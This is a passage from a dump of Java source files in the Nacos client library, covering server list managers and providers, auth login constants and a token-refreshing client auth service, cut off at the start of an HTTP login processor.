java.util.Collection;\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * Server list Manager.\n *\n * @author totalo\n */\npublic abstract class AbstractServerListManager implements ServerListFactory, Closeable {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AbstractServerListManager.class);\n    \n    protected ServerListProvider serverListProvider;\n    \n    protected NacosClientProperties properties;\n    \n    public AbstractServerListManager(NacosClientProperties properties) {\n        this(properties, null);\n    }\n    \n    public AbstractServerListManager(NacosClientProperties properties, String namespace) {\n        // To avoid set operation affect the original properties.\n        NacosClientProperties tmpProperties = properties.derive();\n        if (StringUtils.isNotBlank(namespace)) {\n            tmpProperties.setProperty(PropertyKeyConst.NAMESPACE, namespace);\n        }\n        tmpProperties.setProperty(Constants.CLIENT_MODULE_TYPE, getModuleName());\n        this.properties = tmpProperties;\n    }\n    \n    @Override\n    public List<String> getServerList() {\n        return serverListProvider.getServerList();\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        String className = this.getClass().getName();\n        LOGGER.info(\"{} do shutdown begin\", className);\n        if (null != serverListProvider) {\n            serverListProvider.shutdown();\n        }\n        serverListProvider = null;\n        LOGGER.info(\"{} do shutdown stop\", className);\n    }\n    \n    /**\n     * Start server list manager.\n     *\n     * @throws NacosException during start and initialize.\n     */\n    public void start() throws NacosException {\n        Collection<ServerListProvider> serverListProviders = NacosServiceLoader.load(ServerListProvider.class);\n        Collection<ServerListProvider> sorted = serverListProviders.stream()\n                .sorted((a, b) -> b.getOrder() - a.getOrder()).collect(Collectors.toList());\n        for (ServerListProvider each : sorted) {\n            boolean matchResult = each.match(properties);\n            LOGGER.info(\"Load and match ServerListProvider {}, match result: {}\", each.getClass().getCanonicalName(),\n                    matchResult);\n            if (matchResult) {\n                this.serverListProvider = each;\n                LOGGER.info(\"Will use {} as ServerListProvider\", this.serverListProvider.getClass().getCanonicalName());\n                break;\n            }\n        }\n        if (null == serverListProvider) {\n            LOGGER.error(\"No server list provider found, SPI load size: {}\", sorted.size());\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, \"No server list provider found.\");\n        }\n        this.serverListProvider.init(properties, getNacosRestTemplate());\n    }\n    \n    public String getServerName() {\n        return getModuleName() + \"-\" + serverListProvider.getServerName();\n    }\n    \n    public String getContextPath() {\n        return serverListProvider.getContextPath();\n    }\n    \n    public String getNamespace() {\n        return serverListProvider.getNamespace();\n    }\n    \n    public String getAddressSource() {\n        return serverListProvider.getAddressSource();\n    }\n    \n    public boolean isFixed() {\n        return serverListProvider.isFixed();\n    }\n    \n    /**\n     * get module name.\n     *\n     * @return module name\n     */\n    protected abstract String getModuleName();\n    \n    /**\n     * get nacos rest template.\n     *\n     * @return nacos rest template\n     */\n    protected abstract NacosRestTemplate getNacosRestTemplate();\n    \n    @JustForTest\n    NacosClientProperties getProperties() {\n        return properties;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/address/AbstractServerListProvider.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.List;\n\n/**\n * Address server list provider.\n * \n * @author totalo\n */\npublic abstract class AbstractServerListProvider implements ServerListProvider {\n    \n    protected String contextPath = ClientBasicParamUtil.getDefaultContextPath();\n    \n    protected String namespace = \"\";\n    \n    @Override\n    public void init(final NacosClientProperties properties, final NacosRestTemplate nacosRestTemplate) throws NacosException {\n        if (null == properties) {\n            throw new NacosException(NacosException.INVALID_PARAM, \"properties is null\");\n        }\n        initContextPath(properties);\n        initNameSpace(properties);\n    }\n    \n    /**\n     * Get server list.\n     * @return server list\n     */\n    @Override\n    public abstract List<String> getServerList();\n    \n    /**\n     * Get server name.\n     * @return server name\n     */\n    @Override\n    public abstract String getServerName();\n    \n    /**\n     * Get order.\n     * @return order\n     */\n    @Override\n    public abstract int getOrder();\n    \n    public String getContextPath() {\n        return contextPath;\n    }\n    \n    public String getNamespace() {\n        return namespace;\n    }\n    \n    private void initContextPath(NacosClientProperties properties) {\n        String contentPathTmp = properties.getProperty(PropertyKeyConst.CONTEXT_PATH);\n        if (!StringUtils.isBlank(contentPathTmp)) {\n            this.contextPath = contentPathTmp;\n        }\n    }\n    \n    private void initNameSpace(NacosClientProperties properties) {\n        String namespace = properties.getProperty(PropertyKeyConst.NAMESPACE);\n        if (StringUtils.isNotBlank(namespace)) {\n            this.namespace = namespace;\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/address/EndpointServerListProvider.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.constant.Constants.Address;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.client.utils.ContextPathUtil;\nimport com.alibaba.nacos.client.utils.TemplateUtils;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.StringReader;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Endpoint server list provider.\n *\n * @author totalo\n */\npublic class EndpointServerListProvider extends AbstractServerListProvider {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(EndpointServerListProvider.class);\n    \n    private static final boolean USE_ENDPOINT_PARSING_RULE_DEFAULT_VALUE = true;\n    \n    private NacosRestTemplate nacosRestTemplate;\n    \n    private static final String CUSTOM_NAME = \"custom\";\n    \n    private final long refreshServerListInternal = TimeUnit.SECONDS.toMillis(30);\n    \n    private final int initServerListRetryTimes = 5;\n    \n    private long lastServerListRefreshTime = 0L;\n    \n    private ScheduledExecutorService refreshServerListExecutor;\n    \n    private String endpoint;\n    \n    private int endpointPort = 8080;\n    \n    private String endpointContextPath;\n    \n    private String serverListName = ClientBasicParamUtil.getDefaultNodesPath();\n    \n    private volatile List<String> serversFromEndpoint = new ArrayList<>();\n    \n    private String addressServerUrl;\n    \n    private String moduleName = \"default\";\n    \n    @Override\n    public void init(final NacosClientProperties properties, final NacosRestTemplate nacosRestTemplate)\n            throws NacosException {\n        super.init(properties, nacosRestTemplate);\n        this.nacosRestTemplate = nacosRestTemplate;\n        initEndpoint(properties);\n        initEndpointPort(properties);\n        initEndpointContextPath(properties);\n        initServerListName(properties);\n        initAddressServerUrl(properties);\n        initModuleName(properties);\n        startRefreshServerListTask(properties);\n    }\n    \n    @Override\n    public List<String> getServerList() {\n        return serversFromEndpoint;\n    }\n    \n    @Override\n    public String getServerName() {\n        String contextPathTmp =\n                StringUtils.isNotBlank(this.endpointContextPath) ? this.endpointContextPath : this.contextPath;\n        return CUSTOM_NAME + \"-\" + String.join(\"_\", endpoint, String.valueOf(endpointPort), contextPathTmp,\n                serverListName) + (StringUtils.isNotBlank(namespace) ? (\"_\" + StringUtils.trim(namespace)) : \"\");\n    }\n    \n    @Override\n    public int getOrder() {\n        return Address.ENDPOINT_SERVER_LIST_PROVIDER_ORDER;\n    }\n    \n    @Override\n    public boolean match(final NacosClientProperties properties) {\n        String endpointTmp = getEndPointTmp(properties);\n        return StringUtils.isNotBlank(endpointTmp);\n    }\n    \n    @Override\n    public String getAddressSource() {\n        return this.addressServerUrl;\n    }\n    \n    private String getEndPointTmp(NacosClientProperties properties) {\n        String endpointTmp = properties.getProperty(PropertyKeyConst.ENDPOINT);\n        String isUseEndpointRuleParsing = properties.getProperty(PropertyKeyConst.IS_USE_ENDPOINT_PARSING_RULE,\n                properties.getProperty(SystemPropertyKeyConst.IS_USE_ENDPOINT_PARSING_RULE,\n                        String.valueOf(USE_ENDPOINT_PARSING_RULE_DEFAULT_VALUE)));\n        if (Boolean.parseBoolean(isUseEndpointRuleParsing)) {\n            endpointTmp = ClientBasicParamUtil.parsingEndpointRule(endpointTmp);\n        }\n        return endpointTmp;\n    }\n    \n    /**\n     * Start refresh server list task.\n     *\n     * @throws NacosException nacos exception\n     */\n    public void startRefreshServerListTask(NacosClientProperties properties) throws NacosException {\n        for (int i = 0; i < initServerListRetryTimes && getServerList().isEmpty(); ++i) {\n            refreshServerListIfNeed();\n            if (!serversFromEndpoint.isEmpty()) {\n                break;\n            }\n            try {\n                this.wait((i + 1) * 100L);\n            } catch (Exception e) {\n                LOGGER.warn(\"get serverlist fail,url: {}\", addressServerUrl);\n            }\n        }\n        \n        if (serversFromEndpoint.isEmpty()) {\n            LOGGER.error(\"[init-serverlist] fail to get NACOS-server serverlist! url: {}\", addressServerUrl);\n            throw new NacosException(NacosException.SERVER_ERROR,\n                    \"fail to get NACOS-server serverlist! not connnect url:\" + addressServerUrl);\n        }\n        \n        refreshServerListExecutor = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.client.address.EndpointServerListProvider.refreshServerList\"));\n        // executor schedules the timer task\n        long refreshInterval = Long.parseLong(\n                properties.getProperty(PropertyKeyConst.ENDPOINT_REFRESH_INTERVAL_SECONDS, \"30\"));\n        refreshServerListExecutor.scheduleWithFixedDelay(this::refreshServerListIfNeed, 0L, refreshInterval,\n                TimeUnit.SECONDS);\n    }\n    \n    private void refreshServerListIfNeed() {\n        try {\n            if (System.currentTimeMillis() - lastServerListRefreshTime < refreshServerListInternal) {\n                return;\n            }\n            List<String> list = getServerListFromEndpoint();\n            if (CollectionUtils.isEmpty(list)) {\n                throw new Exception(\"Can not acquire Nacos list\");\n            }\n            list.sort(String::compareTo);\n            if (!CollectionUtils.isEqualCollection(list, serversFromEndpoint)) {\n                LOGGER.info(\"[SERVER-LIST] server list is updated: {}\", list);\n                serversFromEndpoint = list;\n                lastServerListRefreshTime = System.currentTimeMillis();\n                NotifyCenter.publishEvent(new ServerListChangeEvent());\n            }\n        } catch (Throwable e) {\n            LOGGER.warn(\"failed to update server list\", e);\n        }\n    }\n    \n    private List<String> getServerListFromEndpoint() {\n        try {\n            HttpRestResult<String> httpResult = nacosRestTemplate.get(addressServerUrl,\n                    HttpUtils.builderHeader(moduleName), Query.EMPTY, String.class);\n            \n            if (!httpResult.ok()) {\n                LOGGER.error(\"[check-serverlist] error. addressServerUrl: {}, code: {}\", addressServerUrl,\n                        httpResult.getCode());\n                return null;\n            }\n            List<String> lines = IoUtils.readLines(new StringReader(httpResult.getData()));\n            List<String> result = new ArrayList<>(lines.size());\n            for (String serverAddr : lines) {\n                String[] ipPort = InternetAddressUtil.splitIpPortStr(serverAddr);\n                String ip = ipPort[0].trim();\n                if (ipPort.length == 1) {\n                    result.add(ip + InternetAddressUtil.IP_PORT_SPLITER + ClientBasicParamUtil.getDefaultServerPort());\n                } else {\n                    result.add(serverAddr);\n                }\n            }\n            return result;\n        } catch (Exception e) {\n            LOGGER.error(\"[check-serverlist] exception. url: {}\", addressServerUrl, e);\n            return null;\n        }\n    }\n    \n    private void initEndpoint(NacosClientProperties properties) {\n        // Endpoint should not be null or empty, because the match has return `true`.\n        this.endpoint = getEndPointTmp(properties);\n    }\n    \n    private void initEndpointPort(NacosClientProperties properties) {\n        String endpointPortTmp = TemplateUtils.stringEmptyAndThenExecute(\n                properties.getProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_PORT),\n                () -> properties.getProperty(PropertyKeyConst.ENDPOINT_PORT));\n        if (StringUtils.isNotBlank(endpointPortTmp)) {\n            this.endpointPort = Integer.parseInt(endpointPortTmp);\n        }\n    }\n    \n    private void initEndpointContextPath(NacosClientProperties properties) {\n        String endpointContextPathTmp = TemplateUtils.stringEmptyAndThenExecute(\n                properties.getProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_CONTEXT_PATH),\n                () -> properties.getProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH));\n        if (StringUtils.isNotBlank(endpointContextPathTmp)) {\n            this.endpointContextPath = endpointContextPathTmp;\n        }\n    }\n    \n    private void initServerListName(NacosClientProperties properties) {\n        String serverListNameTmp = properties.getProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME);\n        boolean isUseClusterName = Boolean.parseBoolean(\n                properties.getProperty(PropertyKeyConst.IS_ADAPT_CLUSTER_NAME_USAGE));\n        if (StringUtils.isBlank(serverListNameTmp) && isUseClusterName) {\n            serverListNameTmp = properties.getProperty(PropertyKeyConst.CLUSTER_NAME);\n        }\n        if (!StringUtils.isBlank(serverListNameTmp)) {\n            this.serverListName = serverListNameTmp;\n        }\n    }\n    \n    private void initAddressServerUrl(NacosClientProperties properties) {\n        String contextPathTmp = StringUtils.isNotBlank(this.endpointContextPath) ? ContextPathUtil.normalizeContextPath(\n                this.endpointContextPath) : ContextPathUtil.normalizeContextPath(this.contextPath);\n        StringBuilder addressServerUrlTem = new StringBuilder(\n                String.format(\"http://%s:%d%s/%s\", this.endpoint, this.endpointPort, contextPathTmp,\n                        this.serverListName));\n        boolean hasQueryString = false;\n        if (StringUtils.isNotBlank(namespace)) {\n            addressServerUrlTem.append(\"?namespace=\").append(namespace);\n            hasQueryString = true;\n        }\n        if (properties.containsKey(PropertyKeyConst.ENDPOINT_QUERY_PARAMS)) {\n            addressServerUrlTem.append(hasQueryString ? \"&\" : \"?\");\n            addressServerUrlTem.append(properties.getProperty(PropertyKeyConst.ENDPOINT_QUERY_PARAMS));\n        }\n        this.addressServerUrl = addressServerUrlTem.toString();\n        LOGGER.info(\"address server url = {}\", this.addressServerUrl);\n    }\n    \n    private void initModuleName(NacosClientProperties properties) {\n        String moduleNameTmp = properties.getProperty(Constants.CLIENT_MODULE_TYPE);\n        if (StringUtils.isNotBlank(moduleNameTmp)) {\n            this.moduleName = moduleNameTmp;\n        }\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        if (null != refreshServerListExecutor) {\n            refreshServerListExecutor.shutdown();\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/address/PropertiesListProvider.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.constant.Constants.Address;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.StringTokenizer;\n\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTPS_PREFIX;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\n\n/**\n * Properties server list provider.\n * \n * @author totalo\n */\npublic class PropertiesListProvider extends AbstractServerListProvider {\n    \n    private static final String FIXED_NAME = \"fixed\";\n    \n    private List<String> serverList;\n    \n    @Override\n    public void init(final NacosClientProperties properties, final NacosRestTemplate nacosRestTemplate) throws NacosException {\n        super.init(properties, nacosRestTemplate);\n        serverList = new ArrayList<>();\n        String serverAddrsStr = properties.getProperty(PropertyKeyConst.SERVER_ADDR);\n        StringTokenizer serverAddrsTokens = new StringTokenizer(serverAddrsStr, \",;\");\n        while (serverAddrsTokens.hasMoreTokens()) {\n            String serverAddr = serverAddrsTokens.nextToken().trim();\n            if (serverAddr.startsWith(HTTP_PREFIX) || serverAddr.startsWith(HTTPS_PREFIX)) {\n                this.serverList.add(serverAddr);\n            } else {\n                String[] serverAddrArr = InternetAddressUtil.splitIpPortStr(serverAddr);\n                if (serverAddrArr.length == 1) {\n                    this.serverList\n                            .add(serverAddrArr[0] + InternetAddressUtil.IP_PORT_SPLITER + ClientBasicParamUtil.getDefaultServerPort());\n                } else {\n                    this.serverList.add(serverAddr);\n                }\n            }\n        }\n    }\n    \n    @Override\n    public List<String> getServerList() {\n        return serverList;\n    }\n    \n    @Override\n    public String getServerName() {\n        return FIXED_NAME + \"-\" + (StringUtils.isNotBlank(namespace) ? (StringUtils.trim(namespace) + \"-\")\n                : \"\") + ClientBasicParamUtil.getNameSuffixByServerIps(serverList.toArray(new String[0]));\n    }\n    \n    @Override\n    public int getOrder() {\n        return Address.ADDRESS_SERVER_LIST_PROVIDER_ORDER;\n    }\n    \n    @Override\n    public boolean match(final NacosClientProperties properties) {\n        return StringUtils.isNotBlank(properties.getProperty(PropertyKeyConst.SERVER_ADDR));\n    }\n    \n    @Override\n    public boolean isFixed() {\n        return true;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/address/ServerListChangeEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.common.notify.SlowEvent;\n\n/**\n * Server List Change Event.\n *\n * @author zongtanghu\n */\npublic class ServerListChangeEvent extends SlowEvent {\n    \n    private static final long serialVersionUID = -1655577508567092395L;\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/address/ServerListProvider.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\n\nimport java.util.List;\n\n/**\n * Server list provider.\n * \n * @author totalo \n */\npublic interface ServerListProvider extends Closeable {\n    \n    /**\n     * Init.\n     * @param properties nacos client properties\n     * @param nacosRestTemplate nacos rest template\n     * @throws NacosException nacos exception\n     */\n    void init(final NacosClientProperties properties, final NacosRestTemplate nacosRestTemplate) throws NacosException;\n    \n    /**\n     * Get server list.\n     * @return server list\n     */\n    List<String> getServerList();\n    \n    /**\n     * Get server name.\n     * @return server name\n     */\n    default String getServerName() {\n        return \"\";\n    }\n    \n    /**\n     * Get namespace.\n     * @return namespace\n     */\n    default String getNamespace() {\n        return \"\";\n    }\n    \n    /**\n     * Get context path.\n     * @return context path\n     */\n    default String getContextPath() {\n        return ClientBasicParamUtil.getDefaultContextPath();\n    }\n    \n    /**\n     * Get order.\n     * @return order\n     */\n    int getOrder();\n    \n    /**\n     * Match.\n     * @param properties nacos client properties\n     * @return match\n     */\n    boolean match(final NacosClientProperties properties);\n    \n    /**\n     * check the server list is fixed or not.\n     * @return true if the server list is fixed\n     */\n    default boolean isFixed() {\n        return false;\n    }\n    \n    /**\n     * Get address source.\n     * @return address source\n     */\n    default String getAddressSource() {\n        return \"\";\n    }\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/impl/NacosAuthLoginConstant.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.impl;\n\n/**\n * Nacos auth login constants.\n *\n * @author Nacos\n */\npublic class NacosAuthLoginConstant {\n    \n    public static final String ACCESSTOKEN = \"accessToken\";\n    \n    public static final String TOKENTTL = \"tokenTtl\";\n    \n    public static final String TOKENREFRESHWINDOW = \"tokenRefreshWindow\";\n    \n    public static final String USERNAME = \"username\";\n    \n    public static final String PASSWORD = \"password\";\n    \n    public static final String COLON = \":\";\n    \n    public static final String SERVER = \"server\";\n    \n    public static final String RELOGINFLAG = \"reLoginFlag\";\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/impl/NacosClientAuthServiceImpl.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.impl;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.auth.impl.process.HttpLoginProcessor;\nimport com.alibaba.nacos.common.utils.RandomUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.alibaba.nacos.plugin.auth.spi.client.AbstractClientAuthService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Properties;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * a ClientAuthService implement.\n *\n * @author wuyfee\n */\n\n@SuppressWarnings(\"checkstyle:SummaryJavadoc\")\npublic class NacosClientAuthServiceImpl extends AbstractClientAuthService {\n    \n    private static final Logger SECURITY_LOGGER = LoggerFactory.getLogger(NacosClientAuthServiceImpl.class);\n    \n    /**\n     * TTL of token in seconds.\n     */\n    private long tokenTtl;\n    \n    /**\n     * Last timestamp refresh security info from server.\n     */\n    private long lastRefreshTime;\n    \n    /**\n     * time window to refresh security info in seconds.\n     */\n    private long tokenRefreshWindow;\n    \n    /**\n     * A context to take with when sending request to Nacos server.\n     */\n    private volatile LoginIdentityContext loginIdentityContext = new LoginIdentityContext();\n    \n    /**\n     * Re-login window in milliseconds.\n     */\n    private final long reLoginWindow = 60000;\n    \n    /**\n     * Login to servers.\n     *\n     * @return true if login successfully\n     */\n    \n    @Override\n    public Boolean login(Properties properties) {\n        try {\n            boolean reLoginFlag = Boolean.parseBoolean(loginIdentityContext.getParameter(NacosAuthLoginConstant.RELOGINFLAG, \"false\"));\n            if (reLoginFlag) {\n                if ((System.currentTimeMillis() - lastRefreshTime) < reLoginWindow) {\n                    return true;\n                }\n            } else {\n                if ((System.currentTimeMillis() - lastRefreshTime) < TimeUnit.SECONDS\n                        .toMillis(tokenTtl - tokenRefreshWindow)) {\n                    return true;\n                }\n            }\n            \n            if (StringUtils.isBlank(properties.getProperty(PropertyKeyConst.USERNAME))) {\n                lastRefreshTime = System.currentTimeMillis();\n                return true;\n            }\n            \n            for (String server : this.serverList) {\n                HttpLoginProcessor httpLoginProcessor = new HttpLoginProcessor(nacosRestTemplate);\n                properties.setProperty(NacosAuthLoginConstant.SERVER, server);\n                LoginIdentityContext identityContext = httpLoginProcessor.getResponse(properties);\n                if (identityContext != null) {\n                    if (identityContext.getAllKey().contains(NacosAuthLoginConstant.ACCESSTOKEN)) {\n                        tokenTtl = Long.parseLong(identityContext.getParameter(NacosAuthLoginConstant.TOKENTTL));\n                        tokenRefreshWindow = generateTokenRefreshWindow(tokenTtl);\n                        lastRefreshTime = System.currentTimeMillis();\n\n                        LoginIdentityContext newCtx = new LoginIdentityContext();\n                        newCtx.setParameter(NacosAuthLoginConstant.ACCESSTOKEN,\n                                identityContext.getParameter(NacosAuthLoginConstant.ACCESSTOKEN));\n                        this.loginIdentityContext = newCtx;\n                    }\n                    return true;\n                }\n            }\n        } catch (Throwable throwable) {\n            SECURITY_LOGGER.warn(\"[SecurityProxy] login failed, error: \", throwable);\n            return false;\n        }\n        return false;\n    }\n    \n    @Override\n    public LoginIdentityContext getLoginIdentityContext(RequestResource resource) {\n        return this.loginIdentityContext;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n    \n    }\n    \n    /**\n     * Randomly generate TokenRefreshWindow, Avoid a large number of logins causing pressure on the Nacos server.\n     * @param tokenTtl TTL of token in seconds.\n     * @return tokenRefreshWindow, numerical range [tokenTtl/15 ~ tokenTtl/10]\n     */\n    public long generateTokenRefreshWindow(long tokenTtl) {\n        long startNumber = tokenTtl / 15;\n        long endNumber   = tokenTtl / 10;\n        return RandomUtils.nextLong(startNumber, endNumber);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/impl/process/HttpLoginProcessor.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.impl.process;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.auth.impl.NacosAuthLoginConstant;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.client.utils.ContextPathUtil;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTPS_PREFIX;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\n\n/**\n * Login processor for Http.\n *\n * @author Nacos\n */\npublic class HttpLoginProcessor implements 